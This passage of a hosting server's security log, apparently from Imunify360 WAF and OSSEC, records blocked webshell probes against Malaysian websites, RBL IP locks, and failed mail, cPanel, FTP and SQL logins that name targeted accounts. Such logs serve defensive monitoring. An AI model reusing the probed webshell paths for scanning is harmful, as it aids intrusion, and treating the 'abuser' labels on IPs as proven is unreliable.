IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.84
country_id: 798544
description:
Jan 27 23:00:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.160.237
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-00.171.236.160.237||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.212
country_id: 3469034
description:
Jan 27 23:00:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.212
country_id: 3469034
description:
Jan 27 23:01:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.104.156
country_id: 1562822
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/approach.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.15.113.142
country_id: 1605651
description:
2026-01-27 23:09:14 H=([209.15.113.142]) [209.15.113.142]:49858 F=<voicemail@serverdata.net> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.222.167.127
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739603 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.150
country_id: 6252001
description:
Jan 27 23:10:48 sv3 pure-ftpd[3021395]: (?@205.210.31.150) [INFO] New connection from 205.210.31.150


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/osl.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.89.5
country_id: 1269750
description:
Jan 27 23:14:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.89.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-27 23:14:32 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:33166: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.183.70
country_id: 1814991
description:
Jan 27 23:15:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.183.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-01-27 23:15:08 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:53232: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.69
country_id: 298795
description:
Jan 27 23:17:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 134.122.89.91
country_id: 2921044
domain: kdiballoon.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 158.62.211.155
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-17.158.62.211.155||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.80
country_id: 2510769
description:
Jan 27 23:19:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/images/rpl.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.190.38.132
country_id: 3077311
description:
Jan 27 23:24:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.190.38.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 27 23:27:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-27 23:27:38 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:54379: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 23:30:37 H=([45.144.212.242]) [45.144.212.242]:64894 F=<no_reply@admin.com> rejected RCPT <joseph@symphony-led.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.101
country_id: 6252001
description:
Jan 27 23:35:58 sv3 pure-ftpd[3040836]: (?@198.235.24.101) [INFO] New connection from 198.235.24.101


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 104.28.197.239
country_id: 1733045
domain: masaakisb.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/406/feedback||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 104.28.197.239
country_id: 1733045
domain: masaakisb.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.67||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/406/feedback||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.60.233.159
country_id: 3017382
description:
[2026-01-27 23:38:37 +0800] info [cpaneld] 37.60.233.159 - maalloys "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maalloys (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.85.208.4
country_id: 798544
description:
Jan 27 23:39:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.85.208.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.149.43
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/about-us/faq/images/index.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.107.81.125
country_id: 732800
description:
Jan 27 23:44:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.107.81.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.231
country_id: 3175395
description:
Jan 27 23:45:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.231 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.225
country_id: 6252001
description:
2026-01-27 23:45:16 838240 [Warning] Aborted connection 838240 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.225' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.237
country_id: 2395170
description:
Jan 27 23:47:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/demos/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.159.150.111
country_id: 3469034
description:
Jan 27 23:48:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.159.150.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.159.150.111
country_id: 3469034
description:
2026-01-27 23:48:30 dovecot_login authenticator failed for H=(cnmp.static.gvt.net.br) [177.159.150.111]:46900: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.242.52.27
country_id: 1269750
description:
Jan 27 23:53:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.242.52.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 23:53:17 H=(localhost.localdomain) [78.153.140.207]:45014 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 118.31.228.30
country_id: 1814991
description:
2026-01-27 23:53:35 838477 [Warning] Aborted connection 838477 to db: 'unconnected' user: 'unauthenticated' host: '118.31.228.30' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.242.40
country_id: 1269750
description:
Jan 27 23:54:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.242.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/languages/images/radiation.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 90.195.30.241
country_id: 2635167
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/byecake/11/423/1137273 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.246.242
country_id: 3865483
description:
Jan 28 00:05:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.246.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jan 28 00:05:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.246.242
country_id: 3865483
description:
Jan 28 00:06:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.246.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.160.113
country_id: 1562822
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/carsdrifttnc.htm HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.158.9.235
country_id: 1512440
description:
Jan 28 00:12:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.158.9.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.158.9.235
country_id: 1512440
description:
Jan 28 00:13:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.158.9.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/login.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.98.214.169
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=306191 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.0.30.44
country_id: 2635167
description:
[2026-01-28 00:16:41 +0800] info [webmaild] 161.0.30.44 - kendek@kendek.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.183.61
country_id: 6252001
description:
Jan 28 00:16:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.23.183.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.250.23.35
country_id: 2635167
description:
Jan 28 00:16:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.250.23.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.227.134.232
country_id: 2921044
description:
Jan 28 00:18:32 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.227.134.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.211.39.86
country_id: 1814991
description:
Jan 28 00:18:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.211.39.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.211.39.86
country_id: 1814991
description:
2026-01-28 00:18:59 dovecot_login authenticator failed for H=([58.211.39.86]) [58.211.39.86]:59025: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 84.37.219.199
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-20.84.37.219.199||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.201
country_id: 3865483
description:
Jan 28 00:21:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.26.226.95
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70988.krisfood.com||ServerName:krisfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c49afcaad1711be5ab4f3b0478ee223413a1179a||Title:0x40d39c09||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.183.61
country_id: 6252001
description:
Jan 28 00:23:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.23.183.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.250.23.35
country_id: 2635167
description:
Jan 28 00:23:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.250.23.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.59.147.162
country_id: 1269750
description:
Jan 28 00:23:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.59.147.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.59.147.162
country_id: 1269750
description:
2026-01-28 00:23:48 dovecot_plain authenticator failed for H=(I7QG1XB55L1Y) [152.59.147.162]:33734: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 13.203.67.115
country_id: 1269750
description:
Jan 28 00:23:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 13.203.67.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.183.61
country_id: 6252001
description:
Jan 28 00:24:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.23.183.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.158.9.235
country_id: 1512440
description:
Jan 28 00:24:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.158.9.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cert.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 13.203.67.115
country_id: 1269750
description:
Jan 28 00:25:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 13.203.67.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.79.227.70
country_id: 1269750
description:
Jan 28 00:25:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.79.227.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.227.134.232
country_id: 2921044
description:
Jan 28 00:25:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.227.134.232 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/iso.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.250.23.35
country_id: 2635167
description:
Jan 28 00:32:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.250.23.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.79.227.70
country_id: 1269750
description:
Jan 28 00:34:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.79.227.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/survey-meter/images/sliders/sitemap.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.79.227.70
country_id: 1269750
description:
Jan 28 00:35:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.79.227.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.250.23.35
country_id: 2635167
description:
Jan 28 00:38:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.250.23.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 00:38:11 H=([46.151.182.48]) [46.151.182.48]:49800 F=<cpanel@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.227.134.232
country_id: 2921044
description:
Jan 28 00:38:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.227.134.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 00:39:24 H=([46.151.182.48]) [46.151.182.48]:52205 F=<cpanel@ktlog.com.my> rejected RCPT <celine@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.227.134.232
country_id: 2921044
description:
Jan 28 00:39:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.227.134.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.183.61
country_id: 6252001
description:
Jan 28 00:39:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.23.183.61 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.170
country_id: 6252001
description:
Jan 28 00:41:32 sv3 pure-ftpd[3087401]: (?@198.235.24.170) [INFO] New connection from 198.235.24.170


plugin: modsec
rule: 77140878
